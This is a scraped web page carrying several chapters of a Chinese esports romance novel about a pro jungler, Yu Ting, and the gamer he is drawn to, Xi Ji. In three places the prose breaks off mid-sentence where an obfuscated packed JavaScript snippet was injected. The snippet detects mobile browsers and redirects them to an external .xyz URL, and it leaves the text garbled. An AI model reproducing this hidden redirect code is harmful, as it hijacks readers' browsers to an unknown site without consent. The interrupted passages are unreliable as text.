[韩弋：怎么样？今晚还有心情上线吗？] 郗霁立即回复了。 [Clear：怎么没有，上号拉我。] 趁着韩弋那边还没有回复，郗霁点开了与郁听的聊天框。 郁听的消息就比较多了。 [图片] [图片] [弦耳：今晚队里聚餐，这家味道不错，下次我们来这家。] [图片] [图片] “弦耳”撤回了一条消息。 [Clear：撤回了什么？] [Clear：你们基地还没放假吗？] [弦耳：明天就放假，所以今天大家出来聚餐。] [弦耳：他们还点了酒。] [Clear：小酌怡情，过饮伤身，注意别喝多了。] [弦耳：知道的，我没喝酒，他们也只喝了两杯，教练管着呢。] [Clear：你怎么不喝？] [弦耳：教练不让，说担心影响我生长发育。] 郗霁想到郁听跟他差不多的个子，已经够高了，还想长多高？难不成未成年？ 另外一边，Palmy的聚餐已经接近尾声，餐桌上摆放的食物被消灭了一大半。 “这石斑鱼是真鲜，我感觉还能再干一条。” 虞淼川说着，打了个浅浅的饱嗝。 “你还吃得进我们就再点一条。”周瑞宁倒了杯茶水递过来，“给，压一压。” 虞淼川端起茶水喝了一口，靠着椅子上，手搭在圆鼓鼓的肚子上，想了想，说：“还是算了吧，再点一条我一个人太勉强了，不过你们的战斗力也太不行了。” 周瑞宁扫了眼桌上剩余的食物，“以前聚餐总想着多点点，怕不够吃，这两次倒好，每次都剩，我们这食量是越来越小了。” “是因为少了个人吧。”荀客一针见血地说。 虞淼川愣了愣，赞同地点头：“队里原来有老丁这个大胃王，现在他退役了，我们可不就剩得多了，也不知道老丁现在在干什么。” 末了，虞淼川惆怅地叹了口气。 荀客：“挺好的，盘了家网吧经营着，现在没事就直播聊聊天，带粉丝上上分，日子比当选手的时候惬意。” “真的？”虞淼川坐直了身体，“说得我都想原地退役了。” 周瑞宁：“你合同没到期，现在想退役先问问战队放不放人。” “是哦。”虞淼川懒散地往椅背一靠，“我至少还得在Palmy再当两年牛马。” “听你这语气，战队亏待你了？”坐对面的罗教练睨了过来，眼神里带着三分质问跟三分漫不经心。 “没呢没呢。”虞淼川嘿嘿一笑，“对了，新上单什么时候落实？” “这些天不是陆陆续续试训了一些人吗，我跟副教练都觉得差点儿意思。” 虞淼川了然：“所以目前最好的人选还是郁听的那个朋友？” 罗教练：“他能来自然是最好不过了。” 几人看向郁听，他明显没有听见他们的话，目光落在亮起的手机界面，一只手飞快地在屏幕上敲字，嘴角的笑意藏都藏不住。 周瑞宁不解地开口：“他这是怎么了？” 虞淼川：“正跟他那位朋友聊天吧。” 周瑞宁回过头来：“你怎么知道？” “我听见特别关心的提示音了。”虞淼川一脸笃定地回答。 荀客想到这些天在训练室经常听见特别关心的提示音，旋即开玩笑说：“原来这些天听到的特别提示音是郁听手机的啊，我还以为是你跟你女友复合了，天天消息响个不停。” “你该去看看耳朵了，怎么能是我呢？” “也对。”荀客做出恍然大悟状，“你都被你女朋友甩了多久了，哪还有特别关心给你发消息。” “哪壶不开提哪壶！”虞淼川愤懑地以茶代酒干了一杯，“不过，你也觉得他们这个聊天频率过于频繁了吧，比我之前跟女朋友在热恋期还夸张。” “对了，郁听。”虞淼川挪动椅子靠近，身体微微前倾，一手搭在对方的肩上，眼神认真地看着他，“我前些天就有个问题想问你了。” “怎么？”郁听从手机屏幕上抬起头，不明白发生了什么，一时间表情还有些懵。 “你这是帮战队挖人还是追人啊？”虞淼川语重心长地问。 “什么？”郁听心脏突兀地漏了一拍，手机都差点没拿稳，怀疑自己没听清，“什么追人？” “你跟你那个朋友啊。”虞淼川抬了抬下巴，视线落在亮起的消息列表上示意，“之前我没想那么多，但你给一个同性朋友设置成特别关心加置顶，是不是有些不太正常。” 虞淼川继续说：“然后，你天天跟人家早安晚安，吃了吗？在干嘛？跟我追女孩子时没话找话时是一模一样。你说会在不勉强对方的情况下尽量帮战队把人挖来，嗯……就是这样挖的吗？” “那应该怎么做？” “给他展现我们的团魂啊！实力啊！你天天聊些有的没的……他不会烦你吗？” 周瑞宁琢磨了一下，好奇地问：“你怎么知道的，你看郁听手机了？” “我也不想偷看的，他天天手机就放我旁边，人家一回消息我就知道了。”虞淼川向大家无辜地摊开手，表示他真的不是故意的，实在是视力太好，每次新消息来，他很难不注意到。 更多详细的信息虞淼川看不见，但每次根据对方回复的内容，还是能简单地倒推出郁听给人家发了些什么内容。 最后，虞淼川用轻松调侃的语气总结：“说真的，如果不是有看到你的备注，我真以为你是在追女朋友。” 闻言，郁听连眉头都细微地抖了一下，攥着手机的手微微僵硬，眸光明灭摇曳，却又忍不住想要确认什么，于是定了定神，谨慎地反问：“朋友间……也可以这样吧？” “朋友间这样……也过于gay了吧。”虞淼川转过身找认同，“荀客，你会这么频繁地关心我的动态，频繁地跟我分享日常吗？” “我们天天在一起训练。”荀客往椅背上一靠，“你的动态我不关心，我的日常你也知道。” “那没有训练，休假的时候呢？”虞淼川追问。 “没有训练的时候，我只会屏蔽你们，然后好好休息。”荀客慢条斯理地说。 “那队长你呢？”虞淼川转了个方向。 “私事就算了，但我很乐意随时跟你们分享战队的事情。” 虞淼川转回来，两手一摊：“你看。” 郁听嘴唇动了动，最终沉默了下去。 这些细节被一一指出来，像一盏灯，照亮了他心底模糊的角落。 但同时，也更加迷惘了。 他慢慢低下头，指尖轻轻摩挲着手机边缘，看见灰暗下去的手机屏幕倒映出他神情有些凝重的脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368138|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… “漂亮！果然还是抱大腿好上分，躺得真舒服。” 耳机里一直传来韩弋兴奋的呼喊声，郗霁操纵着屏幕里的英雄再次完成一波漂亮的团灭后，他调整了下耳机，才说：“可是我不舒服。” “怎么呢？”韩弋随口问。 “全程靠我C，累死了。” “哎呀！郗哥哥，人家也想C嘛，可是新赛季群魔乱舞，我只能保证自己不拖后腿咯。” “……”郗霁忍了忍，“别逼我在峡谷里杀队友。” “呕……” 耳机里，突兀地传出其他人的干呕声，韩弋难得地静了静，郗霁则是在推高地的间隙抬眼瞟了眼，“你好像开的是全队麦……” 对面水晶爆炸时，韩弋手速飞快地返回房间，郗霁见状，稀奇地调侃：“你也会尴尬啊。” “废话！”韩弋恢复了中气十足的声音，“死鬼，你也不早提醒我。” “谁知道你会忽然发出那么恶心的声音。” 郗霁说着，瞥到手机屏幕亮了下，以为是郁听的回复，解锁之后却只看到消息列表干干净净，没有一条未读消息。 他微微挑眉，奇了怪了。 平时恨不得一日三餐事无巨细跟他分享的人，在他调侃完还想长多高之后，竟然半天都没有回复。 耳机传来韩弋催促的声音，郗霁看了眼时间，很快便重新进入新一轮游戏。 这一局遇见了演员，选英雄在已有上单的情况下抢位置不说，进入峡谷后也一直跟着郗霁在上路抢兵线，抢完兵线就给对面上单送人头，十分钟不到，就给对面上单喂超神了，导致郗霁前期没有发育起来，所以这一局也打得格外漫长。 直到四十分钟时，靠郗霁单带偷塔才终于推平了对面水晶。 返回房间后，郗霁点了举报，揉了揉酸痛的眼睛，说：“很晚了，不打了。” “也行。” 韩弋刚刚在局内对演员骂了超过三十分钟，没带脏字，花样却不带重样的，现在也有些累了，“明天接着来吧。” 郗霁摘下耳机，拿过手机，屏幕依旧没有新消息提示，他指尖顿了顿，看了眼已经是凌晨的时间，点开和郁听的聊天框，想到他们大部分都喝了酒，秉着不放心的态度询问：“聚餐结束了吗？回基地了没？” Palmy俱乐部TOA分部宿舍。 聚餐结束回来后，郁听心神不宁地洗完澡，躺在床上辗转反侧一个多小时都没有睡着。 他犹豫了很久，翻身下床，走到桌前拖出椅子坐下，打开电脑，点开最大的问答网站，手指在搜索框里输入 “如何确定自己是不是同性恋”。 看来也不少人有这方面的困惑，页面加载出来一纵列相关的提问。 [说说你是怎么发现自己是同性恋的？] [一个人要怎么样才可以确定自己的性取向呢？] [怎么判断自己是不是同性恋？] 郁听找了被回答得最多的一条点开，前排高赞：[找片看，观察自己是会对男性的身体产生欲`望还是对女性的身体产生欲`望]。 他手一抖，又往下划动鼠标，高赞第二条[是不是同性恋不清楚，但我相信直男绝对不会有这个疑问的]扎得他心里又慌又乱。 偏偏，放一旁的手机还不合时宜地跳出新消息，在寂静的房间尤其刺耳。 他吓了一跳，叉掉点开的回答，拿起手机看了一眼，是郗霁发来的。 神色顿时一软，指尖慢慢在屏幕上敲下回复。 [ D：已经回基地了，谢谢哥的关心。] 8. 开房 郗霁盯着郁听的回复，指尖在手机屏幕上悬停了几秒，随后提问。 [Clear：驾照拿没？] 之前等回复的时候，郗霁有搜过郁听的年龄，虽然已经成年了，但也比他之前认为的还要小，是属于刚成年就被Palmy战队签下上场打比赛了，才18岁。 [弦耳：还没。] 郁听回复。 郗霁回忆起第一次见面时，郁听说过曾经跟他是校友。 按他这个年纪来说，应该还没来得及上大学，大概率之前跟他同在海城一中念书。 [Clear：你是海城人？海城哪个地方的？] [弦耳：栖霞湾那边的。] Palmy基地在青湖区，跟栖霞湾分别在海城的两个方向，两地相隔五十多公里的距离。 不过栖霞湾跟他离得倒是很近，十公里左右的距离。 [Clear：那你怎么回来？打车？] 没等那边回复，郗霁没怎么犹豫地询问： [Clear：需不需要我来接你。] “正在输入中”的提示反反复复显示了几次，足足两分钟后，郁听的新消息才弹过来。 [弦耳：不用不用。] [弦耳：我没什么行李，直接坐地铁就好。] [Clear：行吧。] [Clear：路上小心点。] …… 春节，作为一年中最重要隆重的传统节日，郗霁也在除夕当天驱车回到了老宅。 他从小在这里长大，对这里一草一木都很熟悉。 这座中式别墅位于半山腰，四周环境优美，穿过挂着红灯笼的正门便是庭院，庭院正中是金雕玉琢的假山水池，一条由青石板铺就的路绕过假山水池延伸到别墅入口。 他踏入别墅的时候，才发现郗泽楷已经到了，正陪着老太太在说话。 “奶奶。” “爷爷。” “回来了。”老太太放下手里修剪的花枝，“这正说起你呢。” 郗霁瞥了一旁的郗泽楷一眼，没接话。 郗泽楷能说出他什么好话？ 很快，除了郗韫斌其他人也陆陆续续到了，最后的年夜饭如约进行。 不过因为郗韫斌的一贯缺席，席上的气氛总是十分凝重，一顿饭吃得郗霁胃病都快出来了。 但偏偏接下来的一段日子他还不能走，至少得等过完元宵，再以开学为借口提前离开。 洗漱之后，郗霁立在阳台上看了会远处的绽放的跨年烟花，打开微信，收到的新年祝福有许多，甚至连很多没怎么联系过的同学都发来了新年祝福，一大段祝福词加emoji，格式统一，应该是群发。 郗霁一一划过，从一纵列的新年祝福里看到了韩弋跟郁听发来的新年祝福。 郁听发过来的是语音，他点击播放，外放的喇叭里立刻传出少年清亮的嗓音，像浸在蜜里的阳光。 “哥，新年快乐。” “谢谢，同乐。” 回复了郁听的语音消息后，郗霁又点开跟韩弋的聊天框，仔仔细细地将韩弋发过来的春节祝福阅读一遍。 [Clear：哪里复制来的？] [韩弋：什么复制来的，这是我自己绞尽脑汁手打的，虽然只有几句话，但你可别感动坏了。] [Clear：已经感动坏了，泪水都快把房间都淹没了。] [Clear：而且我是不会发红包的。] [韩弋：我给你发。] 很快，郗霁就收到了两个红包，他点开一看，一个两块，一个两百块。 [Clear：这么大方，谢谢弋哥的红包。] [韩弋：别误会了，两块钱才是给你的新年红包，两百块是我交的陪玩费。] [Clear：……] [Clear：我陪玩收费很贵的。] 紧接着，源源不断的红包弹了过来，郗霁划了划屏幕，大概有二十多个。 [Clear：什么意思？] [韩弋：一个红包一局。] [Clear：谢谢韩总……韩总需要上分的时候一定随叫随到。] …… 早知道韩弋是上分狂魔，但没有想到才到初五，就忍不住打电话发来组队邀请。 郗霁拿着手机往屋子里走了几步，回过头看着在花园晒太阳的俩位老人，才压低声音说：“我现在怎么可能方便？” 韩弋：“不方便那就出来吧。” 郗霁顿时犹豫，韩弋在那边循循善诱：“怎么样？电竞套房，我开好房间等你，放松一下，傍晚你再回去就是了。” 考虑了几秒之后，郗霁才说：“跟你组队也不轻松。” 听他这么说，韩弋就知道妥了，报了酒店跟房间号，末了还给个隔空飞吻，“我准备好等着你哟。” 正月，街上的年味还没过去，街道两旁还挂着红红的灯笼。 郗霁车开得并不快，城区限速三十码，红绿灯又多，走走停停的，一边看看沿途的风景。 在路过一处公园的时候，郗霁眼尖地瞥见一抹熟悉的身影。 低头坐在公园长椅上的人穿着黑色羽绒服，手里还捧着半杯冒热气的热可可，侧脸线条在氤氲热气里透着点冷硬。 “郁听？”郗霁下了车，隔着几米远试探地开口。 话音刚落，长椅上的人缓缓抬起头，看清楚出声的人时，原本微蹙的眉梢悄悄松了点，有些意外地站了起来。 “哥？！” “你怎么在这？” “你怎么来了？” 两人异口同声地开口。 “你就住在这附近？”郗霁走近问。 “啊……对。” “你刚刚在思考什么？”郗霁想着刚刚郁听一动不动仿若老僧入定，“魂不守舍地，跟失恋一样。” 郁听微微脸红，没有回答，歪头看向停在路边那辆蓝色跑车，问：“你是出去玩吗？” “嗯，去酒店跟人开房。” 闻言，郁听眼睛微微睁大，手中杯子都变了形。 半晌，憋出一句带着点酸意的反问：“跟女朋友？” 话一出口，他人就后悔了，语气里的试探太明显了。 不过好在，郗霁没有听出不对，后知后觉刚刚的说法好像是容易让人误会，清了清嗓子解释：“酒店电竞房，跟朋友一起开黑。” 解释完，郗霁看着正用湿巾纸擦拭手上污渍的郁听，发出邀请：“正好遇见了，你有空吗？一起？” “合适吗？”郁听顿住，心里一动，”你跟你朋友一起开黑，我插进去不太好吧。” “没事。” …… 郗霁坐在车里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368139|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，等着郁听跟人交代完再过来。 公园滑滑梯那边有两位男人，年纪看起来都不大，应该不能是郁听的父亲吧。 可能是亲戚，郗霁这样想着。 过了一会儿，郁听折返回来，拉开车门，高兴地说：“哥，好了，我们走吧。” 郗霁看他一眼，忽然朝他腰腹伸出手。 “怎……怎么了？” 郁听吓得躲了一下，发现无处可躲，僵硬着身体问。 “安全带。”郗霁指着安全带的卡扣说。 “哦。”郁听肩膀微松，扯过安全带扣上，“差点忘了。” 引擎的轰鸣声响起的前一秒，郗霁多看了他一眼，心里划过一丝疑惑。 总觉着今天的郁听跟上次见面时有些不一样了。 韩弋早在电竞房等着了，听见门铃的声音立即跳到门口来。 一开门，就给了郗霁一拳，然后用手勾着脖子人往里走：“死鬼，你终于来了，刚刚我单排了两局，都被按在地上打，你再不来，我就要掉段了！” 郗霁嗤笑出声：“你的走位跟逛街似的，你不掉段谁掉段，而且我已经来得很快了。” 韩弋还欲说什么，瞧见了从郗霁身后走出来的人，疑惑地歪了歪头，看向郗霁：“你这是……” “怕带不动你，喊了个职业选手来帮忙。” 郗霁拉开韩弋的手，然后冲郁听介绍：“这是我朋友，韩弋。” 韩弋则不用郗霁介绍，已经认出了人来，指着郁听惊喜地开口：“你是Palmy的弦耳？” “你好。”郁听勉强笑笑，视线落在两人亲密无间的社交距离上，眼底的沉郁之色一闪而过，眸光也不似平时那般晶亮。 韩弋一愣，总觉得这双眼睛似曾相识，但他确定，这是在线下第一次看见本尊。 “职业选手来一起带你上分，够意思吧。”郗霁说着。 “够意思！”韩弋回过神来，扬了扬眉，“红包没白给你发。” 三人入座，由郗霁将两人拉进组队房间。 戴耳机的时候，韩弋想到什么，多问了一句：“欸，郗霁，你直播不呢？” 郗霁看了郁听一眼，“不了吧。” 他直播一向随性，想播就播，因为不差那点礼物钱，所以无意用郁听引流。 “那弦耳呢？”韩弋又问。 郁听：“也不。” 韩弋戴上耳机，“行吧，你们直播的话我还担心说错话，不直播我说话更随意。” 进入游戏，郁听因为ID在禁选英雄的阶段就被认了出来。 [1楼：三楼是真的弦耳吗？] [4楼：高仿号吧。] 但很快，麦克风里面就响起来两路人刺耳的尖叫声。 “我一个字一个字地核对过了，是弦耳！” “弦耳你能开麦吗？我们都是你的粉丝！” “真受女孩子欢迎！”韩弋吹了声口哨，“我看过粉丝拉表，弦耳是目前职业选手中女粉占比最高的选手，郗霁，你知道为什么吗？” “因为长得好看吧。”郗霁还记得对郁听的初印象，不输平时活跃在大屏幕上的那些流量小生，是非常招年轻女孩子喜欢的类型。 末了，他难得调侃：“将来是不愁找女朋友了。” 闻言，郁听因为郗霁前半句夸奖而弯起的嘴角瞬间撸平了回去。 9. 无意 最后郁听并没有开麦，甚至三人都屏蔽了队友的语音，专心打游戏。 但英雄调整结束，进入到加载页面时发现，这局居然还撞车了。 韩弋指着对面ADC的ID激动地说：“撞车了啊！北斗战队的洋洋！我这是进入高端局了？” 进入峡谷之后，对面率先发来消息。 [全部]北斗.洋洋（恶魔之眼）：单排双排？ [全部]Palmy.弦耳（凫羽）：三排。 [全部]北斗.洋洋（恶魔之眼）：在直播吗？ [全部]Palmy.弦耳（凫羽）：没有，你呢？ [全部]北斗.洋洋（恶魔之眼）：也没有，我跟辅助是双排，你少来下路。 [全部]Palmy.弦耳(凫羽)：好的。 韩弋打开数据面板，念出辅助的ID，“爱琴洋，辅助是他女朋友吧！” “不清楚。”郗霁面无表情地回答，使用蔷薇妖姬在上路专注地补兵，他只关注职业选手的技术，从不关注他们的私生活。 郁听这局红开，他收下红Buff之后，才说：“不算是女朋友了，他们已经领证了。” 北斗洋洋成为首发的第二年后就官宣了学生时期的女朋友，这么些年感情稳定，领证也算是有情人修成正果。 “真的？”韩弋挑眉，“我怎么记得洋洋年纪不大啊。” 郁听：“上个月刚满法定年龄就去领的。” “小情侣99。”韩弋想了想，“那这把你多来帮我抓中路。” 郗霁接龙：“也可以多抓上路。” 对面的上单只是段位高点，技术中上的普通路人，哪怕用的是当前版本的T0上单时光伯爵，面对郗霁的细节操作跟郁听的特殊照顾，八分钟内死了5次。 除了6级前只死过一次，6级后基本上每次刚复活到线上就又被送回泉水，重新来过了。 在第6次被送回泉水后，终于忍不住激`情开麦。 [全部]求你别补刀（时光伯爵）：我也是日了狗了，妖姬是不是肾虚？老喊你们打野过来！ 郗霁这局使用的英雄是蔷薇妖姬。 对于对方的言论，郗霁根本没在意，反而下手更狠了，逼得时光伯爵不敢出塔，只敢等兵线进塔后再清兵。 随着郁听的再次光顾上路，对面上单毫无游戏体验地再次倒下。 等复活重新回到线上，发现兵线也被自家打野队友给补了，更心烦了。 [全部]求你别补刀（时光伯爵）：弦耳，你去下路啊，那才是你该抓的人，你一个职业选手老欺负我这个普通人干什么？ [全部]求你别补刀（时光伯爵）：而且，上单是你老婆吗？一直往上路跑！ 韩弋在中路清兵时看见这条，笑出了声：“老婆？他以为你是女的？” [全部]霁月（蔷薇妖姬）：男的。 将这两个字发送出去之后，郗霁凭借精准的技能预判跟丝滑的连招在对面防御塔下完成单杀。 [全部]求你别补刀（时光伯爵）：我知道你是男的。 [全部]霁月（蔷薇妖姬）：这次是单杀。 等着读秒复活的人颇为不服气。 [全部]求你别补刀（时光伯爵）：我被你家打野抓了那么多次，都没发育起来，经济相差那么多，当然拼不过你！ [全部]Palmy.弦耳（凫羽）：6级前，我还没出野区的时候你就已经被我家上单单杀过一次了。 [全部]求你别补刀（时光伯爵）：一次失误而已，你要是不总来抓我，我肯定能把经济追回去。 “解释那么多干嘛。”郗霁说着，操纵着蔷薇妖姬从对面野区穿墙出来，链住刚复活走出高地的时光伯爵，使其持续掉血。 蔷薇妖姬有蓝Buff在身上，技能刷新非常快，几乎是黏着时光伯爵用Q，W技能叠被动来强化普攻进行持续鞭打，很快时光伯爵的血条就掉到三分之一，哪怕缩回高地塔，还是被蔷薇妖姬追上来一个大招收下人头，再接二段E技能潇洒撤退回野区，用刚刚叠满的被动快速清野。 [全部]求你别补刀（时光伯爵）：真黏人，现实里是不是也很会啊？ 这是改阴阳怪气了？郗霁皱眉，没时间理会，以为他抓住了对面落单的打野。 见郗霁没回应，对面上单继续用言语骚扰。 [全部]求你别补刀（时光伯爵）：说真的，职业选手训练那么忙能顾得上你吗？我也是1，还有八块腹肌，要不要见见，保准让你满意！ [全部]霁月（蔷薇妖姬）：好啊。 郗霁抽空回应。 [全部]霁月（蔷薇妖姬）：海城市青龙广场。 郁听原本在打大龙，看到这条消息时手一顿，一下没反应过来，被给龙拍飞了。 “哥？” “你真要跟他奔现啊？”韩弋也说，“你又不是gay，更不是0。” “当然不。”郗霁收下对面打野的人头，嫌弃地开口，“只是被恶心到了，他敢来我就请线下真人代打。” 韩弋竖了个大拇指，蠢蠢欲动：“挺好，我可以帮你找个散打冠军。” 郁听则是小心翼翼地询问：“哥，你很排斥同性恋吗？” 郗霁正专注着清兵，眼也不眨地说：“不排斥。” “不排斥？”郁听的目光会倏地亮一下，像星星落进眼底。 郗霁没注意到他的异样，补掉了最后一个兵后，想到刚刚油腻的骚扰，不可抑制地反胃，补充说：“但肯定也喜欢不起来。” 一瞬间，郁听没放稳的心跌落谷底。 他喉结动了动，想说点什么，比如 “其实也分人”，可话到嘴边又咽了回去，只闷闷地 “嗯” 了一声，“我也不喜欢，同性恋一看就不正常……” 他故意说得轻描淡写，末了垂下眼，长长的睫毛在眼下投出一小片阴影，刚才紧绷的肩膀也瞬间垮了些。 这样也挺好…… 心里那点刚冒头的期待被掐灭，郁听强迫自己的注意力回到游戏对局里。 虽然之前说过会少去下路，但是中路和上路都被推掉了一塔，ADC现在也一直在参团，双方团战遇见了，都是绝不手软。 在又一次拿到小龙，并且对面的上路和中路二塔都被推掉之后，队友配合着郗霁跟郁听二人，开始大规模入侵对面野区。 对面想守，然而蔷薇妖姬使用E技能穿过对面上单跟辅助这两个前排，直接链住恶魔之眼，很快将恶魔之眼打成残血，靠着辅助舍身相救，加上治疗极限奶一口跟交出闪现才得以逃生。 恶魔之眼虽然跑了，但对面的上单跟辅助却是留下了。 这时，兵线也到了，对面的打野跟中单守不住，很快也倒在了塔下。 等到恶魔之眼从泉水出来的时候，四位队友都已经全部阵亡，中路高地也正在被攻击，他准备勉强守一下，但难敌对面摧枯拉朽之势，这一次，没有辅助，他一个脆皮ADC被蔷薇妖姬越塔强杀，遗憾倒在了水晶前。 这局游戏结束，返回房间时，郁听收到了洋洋加入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368140|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间的申请。 “北斗的洋洋想进来。”郁听看向郗霁，语气里带着询问的意思。 “那你拉吧。”郗霁说。 郁听用鼠标点击了同意，很快洋洋就被拉进了组队房间，他开门见山说：“之前训练赛我不在，他们说你们新上的上单不错，现在看果然很厉害。” “什么训练赛？”韩弋一脸问号，侧过头，“你加入Palmy了？” “晚些时候跟你解释。” 韩弋比了个OK的手势。 在郗霁没有给确切答复之前，郁听也不敢乱说话，留意到洋洋进来之后并没有拉他对象，好奇地问：“不带你对象一起吗？” “不了。”洋洋顺着话转移了注意力，“我就是来看看，这就退出去带我对象甜蜜双排去了。” 洋洋退出直播间后，韩弋想问些什么，想到还有郁听在旁边，便将话咽了回去。这时，门铃“叮咚”一声响了，他从电竞椅上弹起来，“我点的外卖到了。” 开门从外卖小哥手中接过袋子，韩弋核对了一下，确认没拿错后，给自己拿出了一杯，将袋子里剩下的两杯放在了桌上，“喝点东西。” 郗霁伸手接过，看了眼都是一个口味后，随便拿了一杯递给郁听。 “奶茶？”郁听诧异地看了眼。 这个品牌的连锁店大街上随处可见。 他半开玩笑地说：“我还以为像韩哥这样的人应该只喝进口的红酒。” 韩弋扶额：“想什么呢？打游戏我倒杯红酒来装逼啊？” 游戏的时间总是过得尤其快，在不知道第几局游戏结束后，郗霁伸展了一下身体，抬头看向窗外的晚霞，说：“时间不早了，今天就这样吧。” “你有开车来吧，那我不管你了。”郗霁用手撑着电竞椅起身，冲韩弋说，然后，他拿过一旁的车钥匙，招呼着郁听一起，“走吧，我送你回去吧。” “送去哪？”韩弋看了两人一眼，“我记得Palmy基地离得挺远的啊……” 郁听微笑：“基地放假了，我不回基地。” “哦，那你也是海城人？”韩弋扬眉，“那你之前在哪里念书？” “海城一中。”郁听老实回答。 “还是校友啊，我跟郗霁都是在海城一中毕业的。”韩弋偏头，回忆起刚见面时泛起的熟悉感，眼神之中多了几分打量，“那我之前是不是在一中见过你？” 郗霁不以为意：“同校的，肯定多少碰见过吧。” 两人前后走出酒店，回程时，郁听来电话了，他看着备注，悄悄地看了郗霁一眼，才将手机放在右耳上接听。 “出什么事了？”在等红绿灯的间隙，郗霁瞥了眼挂完电话之后郁听难看的脸色，关心地问。 “没什么。”郁听摇了摇头，不打算告知他知道。 过了前面的路口，就到白天碰面的公园了。 “你住在栖霞湾什么地方，我直接把你送到家。” “不用了。”郁听看着眼前熟悉的路，“你在公园旁边的路口把我放下就行了。” 既如此，郗霁也不强求。 跟郁听告别之后，郗霁接到了韩弋的电话。 韩弋的声音伴着他那头车厢里悠扬的音乐声：“到了吗？” “哪有那么快。” “也是，弦耳不在你车上了吧？” “刚把他放下去。” 顿了下，那边认真地问：“之前有外人在，我不好问，你真加入了Palmy？你爷爷跟你父亲能同意你去打职业了？” 10. 撞见 “你觉得他们能同意？”郗霁握着方向盘的手紧了紧，目光落在前方笔直的柏油路上。 韩弋认真思考起来：“你爸那边，他反应应该不会太大，但是你爷爷那边……老人家一直不喜欢，觉得这些东西都是不务正业。” “要不，你先斩后奏吧。”韩弋说着，“你先休学个两年，本来职业选手的黄金年龄就短，你去打两年再悄悄回去就行了。” “怎么可能瞒得过两年？” “也对，最多瞒到战队官宣，然后你那个唯恐天下不乱的堂弟都得捅到人尽皆知。” 说到这个，郗霁想起某段不太愉快的回忆，不可抑制地拧起眉。 这时，耳机里传来忙音，他视线往右，瞥了眼手机屏幕上新打进来的电话，忙说：“等会，我有新电话打进来，先挂了。” 挂断韩弋的电话之后，郗霁接听了这通来自家里的电话：“喂，奶奶，我就快到了……” …… 穿过公园，郁听拐进小巷，走了大概两百米左右，就看见他专门租的那栋灰扑扑的民房，墙皮掉了大半，在昏黄夕阳的笼罩下，像是蒙了层上世纪的滤镜。 而本该空着的门口空地上，却突兀地停着一辆格格不入的保时捷。 刚刚在车上时就已经接到电话被说明情况了，所以郁听没有多少意外。 他推门进去，一人正大喇喇坐在沙发上，听见门口的声音，抬起头，露出那张玩世不恭的俊脸，笑着开口：“可算是回来了。” 他的声音在郁听听来比几年前沉了些，却依旧带着那种漫不经心的调子，他站起身来，像是老朋友一样寒暄：“你变化可真大，我一开始都没有认出你来，还是郗晏提醒的我。” 郁听没接他的话，视线落在房间里的另外一人身上，面色缓和了一下，问：“陈哥，怎么回事？” 陈哥是一位三十来岁，身高一米七左右，长着一张国字脸的老实男人，是郁听请来专门照顾他大哥的。 此时，他小心翼翼地看了郗泽楷一眼，忐忑地说：“这个人忽然找过来，说是来找你的，然后又一直拿东西戳郁宁，才被郁宁咬伤了。” 即便是陈哥不太识货，看不出郗泽楷浑身上下的穿戴值多少钱，但是外面那辆保时捷911，他还是懂的。 “是在家里被咬的吗？”郁听问。 “是的，今天我都没带郁宁出过门。” 郁听这才将视线重新落回郗泽楷身上，扫过他手腕上那明显的牙印，面无表情地说：“这位……先生，虽然是我家里人咬伤了你，但是你不请自来，并且有主动骚`扰的行为，所以我最多只能承担医药费。” 闻言，郗泽楷低头瞧了眼那两排鲜红的牙印，不在意地笑笑，走上前来：“这个先放一边，我是来找你的，你可能不记得我了，我先自我介绍一下，我是郗晏的堂哥，我叫郗泽楷。” 郁听退开一步，避开郗泽楷伸过来准备搭上他肩的手。 头顶亮起的白炽灯在他瞳孔里映照出点点微光，只是却没什么温度，像结了层薄冰的湖面。 “看来我的自我介绍是多余了。”郗泽楷洋装无奈地叹了口气，随即单手插兜，慢悠悠地说，“你不用紧张，我没什么恶意，况且，我记得当初也并没有把你怎么样不是吗？是有过几次摩擦，但如果不是郗晏提起警局的事情，我都快想不起来了。” “不过……”郗泽楷打量着郁听嘲讽的神色，适当收敛了一些，“当初也确实是我太过年轻，玩心太过，下手没轻没重的，闹得过了，如果你耿耿于怀的话，我跟你道歉就是了，对不起。” 他这话不善，虽然是道歉，却丝毫感觉不到诚意，而且一开口就把当初高年级对低年级的欺凌定下了“玩闹”的基调。 “你说的是能搞进警局的玩闹吗？”郁听睨着他，唇边扬起冷笑。 